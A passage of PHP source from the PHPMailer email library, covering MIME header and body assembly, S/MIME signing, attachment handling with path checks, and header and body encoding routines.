                'PHPMailer ' . $this->Version . ' (https://github.com/PHPMailer/PHPMailer)'
            );
        } else {
            $myXmailer = trim($this->XMailer);
            if ($myXmailer) {
                $result .= $this->headerLine('X-Mailer', $myXmailer);
            }
        }

        if ($this->ConfirmReadingTo != '') {
            $result .= $this->headerLine('Disposition-Notification-To', '<' . $this->ConfirmReadingTo . '>');
        }

        // Add custom headers
        foreach ($this->CustomHeader as $header) {
            $result .= $this->headerLine(
                trim($header[0]),
                $this->encodeHeader(trim($header[1]))
            );
        }
        if (!$this->sign_key_file) {
            $result .= $this->headerLine('MIME-Version', '1.0');
            $result .= $this->getMailMIME();
        }

        return $result;
    }

    /**
     * Get the message MIME type headers.
     * @access public
     * @return string
     */
    public function getMailMIME()
    {
        $result = '';
        $ismultipart = true;
        switch ($this->message_type) {
            case 'inline':
                $result .= $this->headerLine('Content-Type', 'multipart/related;');
                $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
                break;
            case 'attach':
            case 'inline_attach':
            case 'alt_attach':
            case 'alt_inline_attach':
                $result .= $this->headerLine('Content-Type', 'multipart/mixed;');
                $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
                break;
            case 'alt':
            case 'alt_inline':
                $result .= $this->headerLine('Content-Type', 'multipart/alternative;');
                $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
                break;
            default:
                // Catches case 'plain': and case '':
                $result .= $this->textLine('Content-Type: ' . $this->ContentType . '; charset=' . $this->CharSet);
                $ismultipart = false;
                break;
        }
        // RFC1341 part 5 says 7bit is assumed if not specified
        if ($this->Encoding != '7bit') {
            // RFC 2045 section 6.4 says multipart MIME parts may only use 7bit, 8bit or binary CTE
            if ($ismultipart) {
                if ($this->Encoding == '8bit') {
                    $result .= $this->headerLine('Content-Transfer-Encoding', '8bit');
                }
                // The only remaining alternatives are quoted-printable and base64, which are both 7bit compatible
            } else {
                $result .= $this->headerLine('Content-Transfer-Encoding', $this->Encoding);
            }
        }

        if ($this->Mailer != 'mail') {
            $result .= $this->LE;
        }

        return $result;
    }

    /**
     * Returns the whole MIME message.
     * Includes complete headers and body.
     * Only valid post preSend().
     * @see PHPMailer::preSend()
     * @access public
     * @return string
     */
    public function getSentMIMEMessage()
    {
        return rtrim($this->MIMEHeader . $this->mailHeader, "\n\r") . self::CRLF . self::CRLF . $this->MIMEBody;
    }

    /**
     * Create unique ID
     * @return string
     */
    protected function generateId() {
        return md5(uniqid(time()));
    }

    /**
     * Assemble the message body.
     * Returns an empty string on failure.
     * @access public
     * @throws phpmailerException
     * @return string The assembled message body
     */
    public function createBody()
    {
        $body = '';
        //Create unique IDs and preset boundaries
        $this->uniqueid = $this->generateId();
        $this->boundary[1] = 'b1_' . $this->uniqueid;
        $this->boundary[2] = 'b2_' . $this->uniqueid;
        $this->boundary[3] = 'b3_' . $this->uniqueid;

        if ($this->sign_key_file) {
            $body .= $this->getMailMIME() . $this->LE;
        }

        $this->setWordWrap();

        $bodyEncoding = $this->Encoding;
        $bodyCharSet = $this->CharSet;
        //Can we do a 7-bit downgrade?
        if ($bodyEncoding == '8bit' and !$this->has8bitChars($this->Body)) {
            $bodyEncoding = '7bit';
            //All ISO 8859, Windows codepage and UTF-8 charsets are ascii compatible up to 7-bit
            $bodyCharSet = 'us-ascii';
        }
        //If lines are too long, and we're not already using an encoding that will shorten them,
        //change to quoted-printable transfer encoding for the body part only
        if ('base64' != $this->Encoding and self::hasLineLongerThanMax($this->Body)) {
            $bodyEncoding = 'quoted-printable';
        }

        $altBodyEncoding = $this->Encoding;
        $altBodyCharSet = $this->CharSet;
        //Can we do a 7-bit downgrade?
        if ($altBodyEncoding == '8bit' and !$this->has8bitChars($this->AltBody)) {
            $altBodyEncoding = '7bit';
            //All ISO 8859, Windows codepage and UTF-8 charsets are ascii compatible up to 7-bit
            $altBodyCharSet = 'us-ascii';
        }
        //If lines are too long, and we're not already using an encoding that will shorten them,
        //change to quoted-printable transfer encoding for the alt body part only
        if ('base64' != $altBodyEncoding and self::hasLineLongerThanMax($this->AltBody)) {
            $altBodyEncoding = 'quoted-printable';
        }
        //Use this as a preamble in all multipart message types
        $mimepre = "This is a multi-part message in MIME format." . $this->LE . $this->LE;
        switch ($this->message_type) {
            case 'inline':
                $body .= $mimepre;
                $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('inline', $this->boundary[1]);
                break;
            case 'attach':
                $body .= $mimepre;
                $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('attachment', $this->boundary[1]);
                break;
            case 'inline_attach':
                $body .= $mimepre;
                $body .= $this->textLine('--' . $this->boundary[1]);
                $body .= $this->headerLine('Content-Type', 'multipart/related;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, '', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('inline', $this->boundary[2]);
                $body .= $this->LE;
                $body .= $this->attachAll('attachment', $this->boundary[1]);
                break;
            case 'alt':
                $body .= $mimepre;
                $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text/plain', $altBodyEncoding);
                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, 'text/html', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                if (!empty($this->Ical)) {
                    $body .= $this->getBoundary($this->boundary[1], '', 'text/calendar; method=REQUEST', '');
                    $body .= $this->encodeString($this->Ical, $this->Encoding);
                    $body .= $this->LE . $this->LE;
                }
                $body .= $this->endBoundary($this->boundary[1]);
                break;
            case 'alt_inline':
                $body .= $mimepre;
                $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text/plain', $altBodyEncoding);
                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->textLine('--' . $this->boundary[1]);
                $body .= $this->headerLine('Content-Type', 'multipart/related;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text/html', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('inline', $this->boundary[2]);
                $body .= $this->LE;
                $body .= $this->endBoundary($this->boundary[1]);
                break;
            case 'alt_attach':
                $body .= $mimepre;
                $body .= $this->textLine('--' . $this->boundary[1]);
                $body .= $this->headerLine('Content-Type', 'multipart/alternative;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text/plain', $altBodyEncoding);
                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text/html', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->endBoundary($this->boundary[2]);
                $body .= $this->LE;
                $body .= $this->attachAll('attachment', $this->boundary[1]);
                break;
            case 'alt_inline_attach':
                $body .= $mimepre;
                $body .= $this->textLine('--' . $this->boundary[1]);
                $body .= $this->headerLine('Content-Type', 'multipart/alternative;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text/plain', $altBodyEncoding);
                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->textLine('--' . $this->boundary[2]);
                $body .= $this->headerLine('Content-Type', 'multipart/related;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[3] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[3], $bodyCharSet, 'text/html', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('inline', $this->boundary[3]);
                $body .= $this->LE;
                $body .= $this->endBoundary($this->boundary[2]);
                $body .= $this->LE;
                $body .= $this->attachAll('attachment', $this->boundary[1]);
                break;
            default:
                // Catch case 'plain' and case '', applies to simple `text/plain` and `text/html` body content types
                //Reset the `Encoding` property in case we changed it for line length reasons
                $this->Encoding = $bodyEncoding;
                $body .= $this->encodeString($this->Body, $this->Encoding);
                break;
        }

        if ($this->isError()) {
            $body = '';
        } elseif ($this->sign_key_file) {
            try {
                if (!defined('PKCS7_TEXT')) {
                    throw new phpmailerException($this->lang('extension_missing') . 'openssl');
                }
                // @TODO would be nice to use php://temp streams here, but need to wrap for PHP < 5.1
                $file = tempnam(sys_get_temp_dir(), 'mail');
                if (false === file_put_contents($file, $body)) {
                    throw new phpmailerException($this->lang('signing') . ' Could not write temp file');
                }
                $signed = tempnam(sys_get_temp_dir(), 'signed');
                //Workaround for PHP bug https://bugs.php.net/bug.php?id=69197
                if (empty($this->sign_extracerts_file)) {
                    $sign = @openssl_pkcs7_sign(
                        $file,
                        $signed,
                        'file://' . realpath($this->sign_cert_file),
                        array('file://' . realpath($this->sign_key_file), $this->sign_key_pass),
                        null
                    );
                } else {
                    $sign = @openssl_pkcs7_sign(
                        $file,
                        $signed,
                        'file://' . realpath($this->sign_cert_file),
                        array('file://' . realpath($this->sign_key_file), $this->sign_key_pass),
                        null,
                        PKCS7_DETACHED,
                        $this->sign_extracerts_file
                    );
                }
                if ($sign) {
                    @unlink($file);
                    $body = file_get_contents($signed);
                    @unlink($signed);
                    //The message returned by openssl contains both headers and body, so need to split them up
                    $parts = explode("\n\n", $body, 2);
                    $this->MIMEHeader .= $parts[0] . $this->LE . $this->LE;
                    $body = $parts[1];
                } else {
                    @unlink($file);
                    @unlink($signed);
                    throw new phpmailerException($this->lang('signing') . openssl_error_string());
                }
            } catch (phpmailerException $exc) {
                $body = '';
                if ($this->exceptions) {
                    throw $exc;
                }
            }
        }
        return $body;
    }

    /**
     * Return the start of a message boundary.
     * @access protected
     * @param string $boundary
     * @param string $charSet
     * @param string $contentType
     * @param string $encoding
     * @return string
     */
    protected function getBoundary($boundary, $charSet, $contentType, $encoding)
    {
        $result = '';
        if ($charSet == '') {
            $charSet = $this->CharSet;
        }
        if ($contentType == '') {
            $contentType = $this->ContentType;
        }
        if ($encoding == '') {
            $encoding = $this->Encoding;
        }
        $result .= $this->textLine('--' . $boundary);
        $result .= sprintf('Content-Type: %s; charset=%s', $contentType, $charSet);
        $result .= $this->LE;
        // RFC1341 part 5 says 7bit is assumed if not specified
        if ($encoding != '7bit') {
            $result .= $this->headerLine('Content-Transfer-Encoding', $encoding);
        }
        $result .= $this->LE;

        return $result;
    }

    /**
     * Return the end of a message boundary.
     * @access protected
     * @param string $boundary
     * @return string
     */
    protected function endBoundary($boundary)
    {
        return $this->LE . '--' . $boundary . '--' . $this->LE;
    }

    /**
     * Set the message type.
     * PHPMailer only supports some preset message types, not arbitrary MIME structures.
     * @access protected
     * @return void
     */
    protected function setMessageType()
    {
        $type = array();
        if ($this->alternativeExists()) {
            $type[] = 'alt';
        }
        if ($this->inlineImageExists()) {
            $type[] = 'inline';
        }
        if ($this->attachmentExists()) {
            $type[] = 'attach';
        }
        $this->message_type = implode('_', $type);
        if ($this->message_type == '') {
            //The 'plain' message_type refers to the message having a single body element, not that it is plain-text
            $this->message_type = 'plain';
        }
    }

    /**
     * Format a header line.
     * @access public
     * @param string $name
     * @param string $value
     * @return string
     */
    public function headerLine($name, $value)
    {
        return $name . ': ' . $value . $this->LE;
    }

    /**
     * Return a formatted mail line.
     * @access public
     * @param string $value
     * @return string
     */
    public function textLine($value)
    {
        return $value . $this->LE;
    }

    /**
     * Add an attachment from a path on the filesystem.
     * Never use a user-supplied path to a file!
     * Returns false if the file could not be found or read.
     * Explicitly *does not* support passing URLs; PHPMailer is not an HTTP client.
     * If you need to do that, fetch the resource yourself and pass it in via a local file or string.
     * @param string $path Path to the attachment.
     * @param string $name Overrides the attachment name.
     * @param string $encoding File encoding (see $Encoding).
     * @param string $type File extension (MIME) type.
     * @param string $disposition Disposition to use
     * @throws phpmailerException
     * @return boolean
     */
    public function addAttachment($path, $name = '', $encoding = 'base64', $type = '', $disposition = 'attachment')
    {
        try {
            if (!self::isPermittedPath($path) or !@is_file($path)) {
                throw new phpmailerException($this->lang('file_access') . $path, self::STOP_CONTINUE);
            }

            // If a MIME type is not specified, try to work it out from the file name
            if ($type == '') {
                $type = self::filenameToType($path);
            }

            $filename = basename($path);
            if ($name == '') {
                $name = $filename;
            }

            $this->attachment[] = array(
                0 => $path,
                1 => $filename,
                2 => $name,
                3 => $encoding,
                4 => $type,
                5 => false, // isStringAttachment
                6 => $disposition,
                7 => 0
            );

        } catch (phpmailerException $exc) {
            $this->setError($exc->getMessage());
            $this->edebug($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }
            return false;
        }
        return true;
    }

    /**
     * Return the array of attachments.
     * @return array
     */
    public function getAttachments()
    {
        return $this->attachment;
    }

    /**
     * Attach all file, string, and binary attachments to the message.
     * Returns an empty string on failure.
     * @access protected
     * @param string $disposition_type
     * @param string $boundary
     * @return string
     */
    protected function attachAll($disposition_type, $boundary)
    {
        // Return text of body
        $mime = array();
        $cidUniq = array();
        $incl = array();

        // Add all attachments
        foreach ($this->attachment as $attachment) {
            // Check if it is a valid disposition_filter
            if ($attachment[6] == $disposition_type) {
                // Check for string attachment
                $string = '';
                $path = '';
                $bString = $attachment[5];
                if ($bString) {
                    $string = $attachment[0];
                } else {
                    $path = $attachment[0];
                }

                $inclhash = md5(serialize($attachment));
                if (in_array($inclhash, $incl)) {
                    continue;
                }
                $incl[] = $inclhash;
                $name = $attachment[2];
                $encoding = $attachment[3];
                $type = $attachment[4];
                $disposition = $attachment[6];
                $cid = $attachment[7];
                if ($disposition == 'inline' && array_key_exists($cid, $cidUniq)) {
                    continue;
                }
                $cidUniq[$cid] = true;

                $mime[] = sprintf('--%s%s', $boundary, $this->LE);
                //Only include a filename property if we have one
                if (!empty($name)) {
                    $mime[] = sprintf(
                        'Content-Type: %s; name="%s"%s',
                        $type,
                        $this->encodeHeader($this->secureHeader($name)),
                        $this->LE
                    );
                } else {
                    $mime[] = sprintf(
                        'Content-Type: %s%s',
                        $type,
                        $this->LE
                    );
                }
                // RFC1341 part 5 says 7bit is assumed if not specified
                if ($encoding != '7bit') {
                    $mime[] = sprintf('Content-Transfer-Encoding: %s%s', $encoding, $this->LE);
                }

                if ($disposition == 'inline') {
                    $mime[] = sprintf('Content-ID: <%s>%s', $cid, $this->LE);
                }

                // If a filename contains any of these chars, it should be quoted,
                // but not otherwise: RFC2183 & RFC2045 5.1
                // Fixes a warning in IETF's msglint MIME checker
                // Allow for bypassing the Content-Disposition header totally
                if (!(empty($disposition))) {
                    $encoded_name = $this->encodeHeader($this->secureHeader($name));
                    if (preg_match('/[ \(\)<>@,;:\\"\/\[\]\?=]/', $encoded_name)) {
                        $mime[] = sprintf(
                            'Content-Disposition: %s; filename="%s"%s',
                            $disposition,
                            $encoded_name,
                            $this->LE . $this->LE
                        );
                    } else {
                        if (!empty($encoded_name)) {
                            $mime[] = sprintf(
                                'Content-Disposition: %s; filename=%s%s',
                                $disposition,
                                $encoded_name,
                                $this->LE . $this->LE
                            );
                        } else {
                            $mime[] = sprintf(
                                'Content-Disposition: %s%s',
                                $disposition,
                                $this->LE . $this->LE
                            );
                        }
                    }
                } else {
                    $mime[] = $this->LE;
                }

                // Encode as string attachment
                if ($bString) {
                    $mime[] = $this->encodeString($string, $encoding);
                    if ($this->isError()) {
                        return '';
                    }
                    $mime[] = $this->LE . $this->LE;
                } else {
                    $mime[] = $this->encodeFile($path, $encoding);
                    if ($this->isError()) {
                        return '';
                    }
                    $mime[] = $this->LE . $this->LE;
                }
            }
        }

        $mime[] = sprintf('--%s--%s', $boundary, $this->LE);

        return implode('', $mime);
    }

    /**
     * Encode a file attachment in requested format.
     * Returns an empty string on failure.
     * @param string $path The full path to the file
     * @param string $encoding The encoding to use; one of 'base64', '7bit', '8bit', 'binary', 'quoted-printable'
     * @throws phpmailerException
     * @access protected
     * @return string
     */
    protected function encodeFile($path, $encoding = 'base64')
    {
        try {
            if (!self::isPermittedPath($path) or !file_exists($path)) {
                throw new phpmailerException($this->lang('file_open') . $path, self::STOP_CONTINUE);
            }
            $magic_quotes = false;
            if( version_compare(PHP_VERSION, '7.4.0', '<') ) {
                $magic_quotes = get_magic_quotes_runtime();
            }
            if ($magic_quotes) {
                if (version_compare(PHP_VERSION, '5.3.0', '<')) {
                    set_magic_quotes_runtime(false);
                } else {
                    //Doesn't exist in PHP 5.4, but we don't need to check because
                    //get_magic_quotes_runtime always returns false in 5.4+
                    //so it will never get here
                    ini_set('magic_quotes_runtime', false);
                }
            }
            $file_buffer = file_get_contents($path);
            $file_buffer = $this->encodeString($file_buffer, $encoding);
            if ($magic_quotes) {
                if (version_compare(PHP_VERSION, '5.3.0', '<')) {
                    set_magic_quotes_runtime($magic_quotes);
                } else {
                    ini_set('magic_quotes_runtime', $magic_quotes);
                }
            }
            return $file_buffer;
        } catch (Exception $exc) {
            $this->setError($exc->getMessage());
            return '';
        }
    }

    /**
     * Encode a string in requested format.
     * Returns an empty string on failure.
     * @param string $str The text to encode
     * @param string $encoding The encoding to use; one of 'base64', '7bit', '8bit', 'binary', 'quoted-printable'
     * @access public
     * @return string
     */
    public function encodeString($str, $encoding = 'base64')
    {
        $encoded = '';
        switch (strtolower($encoding)) {
            case 'base64':
                $encoded = chunk_split(base64_encode($str), 76, $this->LE);
                break;
            case '7bit':
            case '8bit':
                $encoded = $this->fixEOL($str);
                // Make sure it ends with a line break
                if (substr($encoded, -(strlen($this->LE))) != $this->LE) {
                    $encoded .= $this->LE;
                }
                break;
            case 'binary':
                $encoded = $str;
                break;
            case 'quoted-printable':
                $encoded = $this->encodeQP($str);
                break;
            default:
                $this->setError($this->lang('encoding') . $encoding);
                break;
        }
        return $encoded;
    }

    /**
     * Encode a header string optimally.
     * Picks shortest of Q, B, quoted-printable or none.
     * @access public
     * @param string $str
     * @param string $position
     * @return string
     */
    public function encodeHeader($str, $position = 'text')
    {
        $matchcount = 0;
        switch (strtolower($position)) {
            case 'phrase':
                if (!preg_match('/[\200-\377]/', $str)) {
                    // Can't use addslashes as we don't know the value of magic_quotes_sybase
                    $encoded = addcslashes($str, "\0..\37\177\\\"");
                    if (($str == $encoded) && !preg_match('/[^A-Za-z0-9!#$%&\'*+\/=?^_`{|}~ -]/', $str)) {
                        return ($encoded);
                    } else {
                        return ("\"$encoded\"");
                    }
                }
                $matchcount = preg_match_all('/[^\040\041\043-\133\135-\176]/', $str, $matches);
                break;
            /** @noinspection PhpMissingBreakStatementInspection */
            case 'comment':
                $matchcount = preg_match_all('/[()"]/', $str, $matches);
                // Intentional fall-through
            case 'text':
            default:
                $matchcount += preg_match_all('/[\000-\010\013\014\016-\037\177-\377]/', $str, $matches);
                break;
        }

        //There are no chars that need encoding
        if ($matchcount == 0) {
            return ($str);
        }

        $maxlen = 75 - 7 - strlen($this->CharSet);
        // Try to select the encoding which should produce the shortest output
        if ($matchcount > strlen($str) / 3) {
            // More than a third of the content will need encoding, so B encoding will be most efficient
            $encoding = 'B';
            if (function_exists('mb_strlen') && $this->hasMultiBytes($str)) {
                // Use a custom function which correctly encodes and wraps long
                // multibyte strings without breaking lines within a character
                $encoded = $this->base64EncodeWrapMB($str, "\n");
            } else {
                $encoded = base64_encode($str);
                $maxlen -= $maxlen % 4;
                $encoded = trim(chunk_split($encoded, $maxlen, "\n"));
            }
        } else {
            $encoding = 'Q';
            $encoded = $this->encodeQ($str, $position);
            $encoded = $this->wrapText($encoded, $maxlen, true);
            $encoded = str_replace('=' . self::CRLF, "\n", trim($encoded));
        }

        $encoded = preg_replace('/^(.*)$/m', ' =?' . $this->CharSet . "?$encoding?\\1?=", $encoded);
        $encoded = trim(str_replace("\n", $this->LE, $encoded));

        return $encoded;
    }

    /**
     * Check if a string contains multi-byte characters.
     * @access public
     * @param string $str multi-byte text to wrap encode
     * @return boolean
     */
    public function hasMultiBytes($str)
    {
        if (function_exists('mb_strlen')) {
            return (strlen($str) > mb_strlen($str, $this->CharSet));
        } else { // Assume no multibytes (we can't handle without mbstring functions anyway)
            return false;
        }
    }

    /**
     * Does a string contain any 8-bit chars (in any charset)?
     * @param string $text
     * @return boolean
     */
    public function has8bitChars($text)
    {
        return (boolean)preg_match('/[\x80-\xFF]/', $text);
    }

    /**
     * Encode and wrap long multibyte strings for mail headers
     * without breaking lines within a character.
     * Adapted from a function by paravoid
     * @link http://www.php.net/manual/en/function.mb-encode-mimeheader.php#60283
     * @access public
     * @param string $str multi-byte text to wrap encode
     * @param string $linebreak string to use as linefeed/end-of-line
     * @return string
     */
    public function base64EncodeWrapMB($str, $linebreak = null)
    {
        $start = '=?' . $this->CharSet . '?B?';
        $end = '?=';
        $encoded = '';
        if ($linebreak === null) {
            $linebreak = $this->LE;
        }

        $mb_length = mb_strlen($str, $this->CharSet);
        // Each line must have length <= 75, including $start and $end
        $length = 75 - strlen($start) - strlen($end);
        // Average multi-byte ratio
        $ratio = $mb_length / strlen($str);
        // Base64 has a 4:3 ratio
        $avgLength = floor($length * $ratio * .75);

        for ($i = 0; $i < $mb_length; $i += $offset) {
            $lookBack = 0;
            do {
                $offset = $avgLength - $lookBack;
                $chunk = mb_substr($str, $i, $offset, $this->CharSet);
                $chunk = base64_encode($chunk);
                $lookBack++;
            } while (strlen($chunk) > $length);
            $encoded .= $chunk . $linebreak;
        }

        // Chomp the last linefeed
        $encoded = substr($encoded, 0, -strlen($linebreak));
        return $encoded;
    }

    /**
     * Encode a string in quoted-printable format.
     * According to RFC2045 section 6.7.
     * @access public
     * @param string $string The text to encode
     * @param integer $line_max Number of chars allowed on a line before wrapping
     * @return string
     * @link http://www.php.net/manual/en/function.quoted-printable-decode.php#89417 Adapted from this comment
     */
    public function encodeQP($string, $line_max = 76)
    {
        // Use native function if it's available (>= PHP5.3)
        if (function_exists('quoted_printable_encode')) {
            return quoted_printable_encode($string);
        }
        // Fall back to a pure PHP implementation
        $string = str_replace(
            array('%20', '%0D%0A.', '%0D%0A', '%'),
            array(' ', "\r\n=2E", "\r\n", '='),
            rawurlencode($string)
        );
        return preg_replace('/[^\r\n]{' . ($line_max - 3) . '}[^=\r\n]{2}/', "$0=\r\n", $string);
    }

    /**
     * Backward compatibility wrapper for an old QP encoding function that was removed.
     * @see PHPMailer::encodeQP()
     * @access public
     * @param string $string
     * @param integer $line_max
     * @param boolean $space_conv
     * @return string
     * @deprecated Use encodeQP instead.
     */
    public function encodeQPphp(
        $string,
        $line_max = 76,
        /** @noinspection PhpUnusedParameterInspection */ $space_conv = false
    ) {
        return $this->encodeQP($string, $line_max);
    }

    /**
     * Encode a string using Q encoding.
     * @link http://tools.ietf.org/html/rfc2047
     * @param string $str the text to encode
     * @param string $position Where the text is going to be used, see the RFC for what that means
     * @access public
     * @return string
     */
    public function encodeQ($str, $position = 'text')
    {
        // There should not be any EOL in the string
        $pattern = '';
        $encoded = str_replace(array("\r", "\n"), '', $str);
        switch (strtolower($position)) {
            case 'phrase':
                // RFC 2047 section 5.3
                $pattern = '^A-Za-z0-9!*+\/ -';
                break;
            /** @noinspection PhpMissingBreakStatementInspection */
            case 'comment':
                // RFC 2047 section 5.2
                $pattern = '\(\)"';
                // intentional fall-through
                // for this reason we build the $pattern without including delimiters and []
            case 'text':
            default:
                // RFC 2047 section 5.1
                // Replace every high ascii, control, =, ? and _ characters
                $pattern = '\000-\011\013\014\016-\037\075\077\137\177-\377' . $pattern;
                break;
        }
        $matches = array();
        if (preg_match_all("/[{$pattern}]/", $encoded, $matches)) {
            // If the string contains an '=', make sure it's the first thing we replace
            // so as to avoid double-encoding
            $eqkey = array_search('=', $matches[0]);
            if (false !== $eqkey) {
                unset($matches[0][$eqkey]);
                array_unshift($matches[0], '=');
            }
            foreach (array_unique($matches[0]) as $char) {
                $encoded = str_replace($char, '=' . sprintf('%02X', ord($char)), $encoded);
            }
        }
        // Replace every spaces to _ (more readable than =20)
        return str_replace(' ', '_', $encoded);
    }

    /**
     * Add a string or binary attachment (non-filesystem).
     * This method can be used to attach ascii or binary data,
     * such as a BLOB record from a database.
     * @param string $string String attachment data.
     * @param string $filename Name of the attachment.
     * @param string $encoding File encoding (see $Encoding).
     * @param string $type File extension (MIME) type.
     * @param string $disposition Disposition to use
     * @return void
     */
    public function addStringAttachment(
        $string,
        $filename,
        $encoding = 'base64',
        $type = '',
        $disposition = 'attachment'
    ) {
        // If a MIME type is not specified, try to work it out from the file name
        if ($type == '') {
            $type = self::filenameToType($filename);
        }
        // Append to $attachment array
        $this->attachment[] = array(
            0 => $string,
            1 => $filename,
            2 => basename($filename),
            3 => $encoding,
            4 => $type,
            5 => true, // isStringAttachment
            6 => $disposition,
            7 => 0
        );
    }

    /**
     * Add an embedded (inline) attachment from a file.
     * This can include images, sounds, and just about any other document type.
     * These differ from 'regular' attachments in that they are intended to be
     * displayed inline with the message, not just attached for download.
     * This is used in HTML messages that embed the images
     * the HTML refers to using the $cid value.
     * Never use a user-supplied path to a file!
     * @param string $path Path to the attachment.
     * @param string $cid Content ID of the attachment; Use this to reference
     *        the content when using an embedded image in HTML.
     * @param string $name Overrides the attachment name.
     * @param string $encoding File encoding (see $Encoding).
     * @param string $type File MIME type.
     * @param string $disposition Disposition to use
     * @return boolean True on successfully adding an attachment
     */
    public function addEmbeddedImage($path, $cid, $name = '', $encoding = 'base64', $type = '', $disposition = 'inline')
    {
        if (!self::isPermittedPath($path) or !@is_file($path)) {
            $this->setError($this->lang('file_access') . $path);
            return false;
        }

        // If a MIME type is not specified, try to work it out from the file name
        if ($type == '') {
            $type = self::filenameToType($path);
        }

        $filename = basename($path);
        if ($name == '') {
            $name = $filename;
        }

        // Append to $attachment array
        $this->attachment[] = array(
            0 => $path,
            1 => $filename,
            2 => $name,
            3 => $encoding,
            4 => $type,
            5 => false, // isStringAttachment
            6 => $disposition,
            7 => $cid
        );
        return true;
    }

    /**
     * Add an embedded stringified attachment.
     * This can include images, sounds, and just about any other document type.
     * Be sure to set the $type to an image type for images:
     * JPEG images use 'image/jpeg', GIF uses 'image/gif', PNG uses 'image/png'.
     * @param string $string The attachment binary data.
     * @param string $cid Content ID of the attachment; Use this to reference
     *        the content when using an embedded image in HTML.
     * @param string $name
     * @param string $encoding File encoding (see $Encoding).
     * @param string $type MIME type.
     * @param string $disposition Disposition to use
     * @return boolean True on successfully adding an attachment
     */
    public function addStringEmbeddedImage(
        $string,
        $cid,
        $name = '',
        $encoding = 'base64',
        $type = '',
        $disposition = 'inline'
    ) {
        // If a MIME type is not specified, try to work it out from the name
        if ($type == '' and !empty($name)) {
            $type = self::filenameToType($name);
        }

        // Append to $attachment array
        $this->attachment[] = array(
            0 => $string,
            1 => $name,
            2 => $name,
            3 => $encoding,
            4 => $type,
            5 => true, // isStringAttachment
            6 => $disposition,
            7 => $cid
        );
        return true;
    }

    /**
     * Check if an inline attachment is present.
     * @access public
     * @return boolean
     */
    public function inlineImageExists()
    {
        foreach ($this->attachment as $attachment) {
            if ($attachment[6] == 'inline') {
                return true;
            }
        }
        return false;
    }

    /**
     * Check if an attachment (non-inline) is present.
     * @return boolean
     */
    public function attachmentExists()
    {
        foreach ($this->attachment as $attachment) {
            if ($attachment[6] == 'attachment') {
                return true;
            }
        }
        return false;
    }

    /**
     * Check if this message has an alternative body set.
     * @return boolean
     */
    public function alternativeExists()
    {
        return !empty($this->AltBody);
    }

    /**
     * Clear queued addresses of given kind.
     * @access protected
     * @param string $kind 'to', 'cc', or 'bcc'
     * @return void
     */
    public function clearQueuedAddresses($kind)
    {
        $RecipientsQueue = $this->RecipientsQueue;
        foreach ($RecipientsQueue as $address => $params) {
            if ($params[0] == $kind) {
                unset($this->RecipientsQueue[$address]);
            }
        }
    }

    /**
     * Clear all To recipients.
     * @return void
     */
    public function clearAddresses()
    {
        foreach ($this->to as $to) {
            unset($this->all_recipients[strtolower($to[0])]);
        }
        $this->to = array();
        $this->clearQueuedAddresses('to');
    }

    /**
     * Clear all CC recipients.
     * @return void
     */
    public function clearCCs()
    {
        foreach ($this->cc as $cc) {
            unset($this->all_recipients[strtolower($cc[0])]);
        }
        $this->cc = array();
        $this->clearQueuedAddresses('cc');
    }

    /**
     * Clear all BCC recipients.
     * @return void
     */
    public function clearBCCs()
    {
        foreach ($this->bcc as $bcc) {
            unset($this->all_recipients[strtolower($bcc[0])]);
        }
        $this->bcc = array();
        $this->clearQueuedAddresses('bcc');
    }

    /**
     * Clear all ReplyTo recipients.
     * @return void
     */
    public function clearReplyTos()
    {
        $this->ReplyTo = array();
        $this->ReplyToQueue = array();
    }

    /**
     * Clear all recipient types.
     * @return void
     */
    public function clearAllRecipients()
    {
        $this->to = array();
        $this->cc = array();
        $this->bcc = array();
        $this->all_recipients = array();
        $this->RecipientsQueue = array();
    }

    /**
     * Clear all filesystem, string, and binary attachments.
     * @return void
     */
    public function clearAttachments()
    {
        $this->attachment = array();
    }

    /**
     * Clear all custom headers.
     * @return void
     */
    public function clearCustomHeaders()
    {
        $this->CustomHeader = array();
    }

